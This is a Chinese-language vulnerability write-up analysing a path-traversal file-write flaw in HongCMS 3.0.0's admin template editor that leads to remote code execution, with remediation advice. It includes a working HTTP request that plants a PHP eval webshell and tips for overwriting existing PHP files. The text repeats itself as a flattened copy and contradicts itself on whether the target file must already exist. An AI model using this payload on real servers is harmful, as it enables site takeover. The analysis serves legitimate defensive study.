某CMS最新版-远程代码执行
字数 1156 2025-08-29 08:31:42

HongCMS 3.0.0 远程代码执行漏洞分析与利用

漏洞概述

HongCMS 3.0.0 版本在后台模板管理功能中存在远程代码执行漏洞,攻击者可以通过构造特殊的文件路径参数,实现对服务器上任意PHP文件的写入操作,从而导致远程代码执行。

漏洞环境要求

  1. 必须完成HongCMS的安装(访问/install/index.php进行图形化安装)
  2. 安装完成后需要删除install目录
  3. 需要拥有后台管理员账户权限

漏洞定位

漏洞存在于后台的模板管理功能中:
系统->模板管理->模板文件列表 中的修改模板功能

漏洞分析

核心漏洞代码

/admin/controllers/tmplate.php 中的 save() 方法:

public function save(){  //保存模板文件
    $file = ForceStringFrom('file');
    $filepath = $this->temp_path . $this->current_dir . $file;

    if (is_writable($filepath)) {
        $filecontent = trim($_POST['filecontent']);
        if (get_magic_quotes_gpc()) {
            $filecontent = stripslashes($filecontent);
        }

        $fd = fopen($filepath, 'wb');
        fputs($fd,$filecontent);

        Success('template'. Iif($this->current_dir, '?dir=' . $this->current_dir));
    }else{
        $errors = '模板文件('.$file.')不可写! 请将其属性设置为: 777';
        Error($errors, '编辑模板错误');
    }
}

关键参数分析

  1. $file - 通过ForceStringFrom('file')获取,直接来自用户输入

  2. $filepath - 由三部分组成:

    • $this->temp_path - 固定为ROOT.'public/templates/'
    • $this->current_dir - 通过ForceStringFrom('dir')获取,默认为Default/
    • $file - 用户控制的文件名参数
  3. $filecontent - 直接来自$_POST['filecontent'],未做严格过滤

漏洞利用原理

  1. 通过构造包含路径遍历序列(../../)的file参数,可以控制$filepath指向任意位置
  2. 由于$filecontent完全可控,可以写入任意PHP代码
  3. 唯一限制是目标文件必须存在且可写(is_writable()检查)

漏洞复现步骤

  1. 登录后台管理系统
  2. 访问模板管理功能:系统->模板管理->模板文件列表
  3. 修改任意模板文件并抓包
  4. 构造恶意请求:
POST /admin/index.php/template/save HTTP/1.1
Host: target.com
Content-Type: application/x-www-form-urlencoded

file=../../../../shell.php&dir=Default/&filecontent=<?php @eval($_POST['cmd']);?>
  1. 如果目标文件存在且可写,将会在网站根目录创建shell.php文件
  2. 访问http://target.com/shell.php即可执行任意PHP代码

实际利用技巧

  1. 寻找已存在的PHP文件进行覆盖(如/models/user.php)
  2. 构造路径时需要计算正确的../数量以定位到网站根目录
  3. 如果默认模板目录不可写,可以尝试其他可写目录

修复建议

  1. $file参数进行严格过滤,禁止路径遍历字符
  2. 限制文件保存路径在模板目录内
  3. 对写入内容进行PHP代码检测
  4. 更新到最新版本(如果官方已修复)

总结

该漏洞属于典型的文件写入导致的远程代码执行漏洞,利用条件是需要后台管理员权限。漏洞成因在于未对用户输入的文件路径进行严格过滤,加上对写入内容没有限制,导致攻击者可以覆盖服务器上的任意PHP文件。对于使用HongCMS 3.0.0版本的用户,建议立即升级或采取临时防护措施。

HongCMS 3.0.0 远程代码执行漏洞分析与利用 漏洞概述 HongCMS 3.0.0 版本在后台模板管理功能中存在远程代码执行漏洞,攻击者可以通过构造特殊的文件路径参数,实现对服务器上任意PHP文件的写入操作,从而导致远程代码执行。 漏洞环境要求 必须完成HongCMS的安装(访问/install/index.php进行图形化安装) 安装完成后需要删除install目录 需要拥有后台管理员账户权限 漏洞定位 漏洞存在于后台的模板管理功能中: 系统->模板管理->模板文件列表 中的修改模板功能 漏洞分析 核心漏洞代码 /admin/controllers/tmplate.php 中的 save() 方法: 关键参数分析 $file - 通过 ForceStringFrom('file') 获取,直接来自用户输入 $filepath - 由三部分组成: $this->temp_path - 固定为 ROOT.'public/templates/' $this->current_dir - 通过 ForceStringFrom('dir') 获取,默认为 Default/ $file - 用户控制的文件名参数 $filecontent - 直接来自 $_POST['filecontent'] ,未做严格过滤 漏洞利用原理 通过构造包含路径遍历序列( ../../ )的 file 参数,可以控制 $filepath 指向任意位置 由于 $filecontent 完全可控,可以写入任意PHP代码 唯一限制是目标文件必须存在且可写( is_writable() 检查) 漏洞复现步骤 登录后台管理系统 访问模板管理功能: 系统->模板管理->模板文件列表 修改任意模板文件并抓包 构造恶意请求: 如果目标文件存在且可写,将会在网站根目录创建shell.php文件 访问 http://target.com/shell.php 即可执行任意PHP代码 实际利用技巧 寻找已存在的PHP文件进行覆盖(如/models/user.php) 构造路径时需要计算正确的 ../ 数量以定位到网站根目录 如果默认模板目录不可写,可以尝试其他可写目录 修复建议 对 $file 参数进行严格过滤,禁止路径遍历字符 限制文件保存路径在模板目录内 对写入内容进行PHP代码检测 更新到最新版本(如果官方已修复) 总结 该漏洞属于典型的文件写入导致的远程代码执行漏洞,利用条件是需要后台管理员权限。漏洞成因在于未对用户输入的文件路径进行严格过滤,加上对写入内容没有限制,导致攻击者可以覆盖服务器上的任意PHP文件。对于使用HongCMS 3.0.0版本的用户,建议立即升级或采取临时防护措施。